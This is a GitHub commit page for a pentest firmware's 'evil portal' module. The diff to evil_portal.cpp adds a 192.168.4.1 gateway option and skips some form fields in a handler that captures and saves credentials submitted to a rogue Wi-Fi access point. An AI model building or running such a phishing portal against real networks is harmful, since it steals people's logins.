Skip to content

Commit

Permalink
Fixed Issue 52 and added option for 192.168.4.1 Ip
Browse files Browse the repository at this point in the history
Fixed #52

Added possibility to use IP 192.168.4.1 Ip with the custom html.. it might allow using the same .html from evil-Cardputer and Marauder
  • Loading branch information
bmorcelli committed Jul 27, 2024
1 parent 3032869 commit 3838fe1
Showing 1 changed file with 18 additions and 5 deletions.
23 changes: 18 additions & 5 deletions src/modules/wifi/evil_portal.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ void handleCreds() {
last_cred="";
for (int i = 0; i < ep->args(); i++) {
String tmp=ep->argName(i);
if(tmp=="q" || tmp.startsWith("cup2") || tmp.startsWith("plain")) continue;
if(tmp=="q" || tmp.startsWith("cup2") || tmp.startsWith("plain") || tmp=="P1" || tmp=="P2" || tmp=="P3" || tmp=="P4") continue;
else {
html_temp += ep->argName(i) + ": " + ep->arg(i) + "<br>\n";
// Prepara dados para salvar no SD
Expand Down Expand Up @@ -61,14 +61,27 @@ void startEvilPortal(String tssid, uint8_t channel, bool deauth) {
AP_name = tssid;
}

bool defaultIP=true;
options = {
{"127.0.0.1", [&]() { defaultIP=true; }},
{"192.168.4.1", [&]() { defaultIP=false; }},
};
delay(200);
loopOptions(options);

wifiConnected=true;
drawMainBorder();
displayRedStripe("Starting..",TFT_WHITE,FGCOLOR);

IPAddress AP_GATEWAY(172, 0, 0, 1);
WiFi.mode(WIFI_MODE_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(AP_name,emptyString,channel);
if(defaultIP) {
IPAddress AP_GATEWAY(172, 0, 0, 1);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(AP_name,emptyString,channel);
} else {
IPAddress AP_GATEWAY(192, 168, 4, 1);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(AP_name,emptyString,channel);
}

tmp=millis();
while(millis() - tmp < 3000) yield();
Expand Down

0 comments on commit 3838fe1

Please sign in to comment.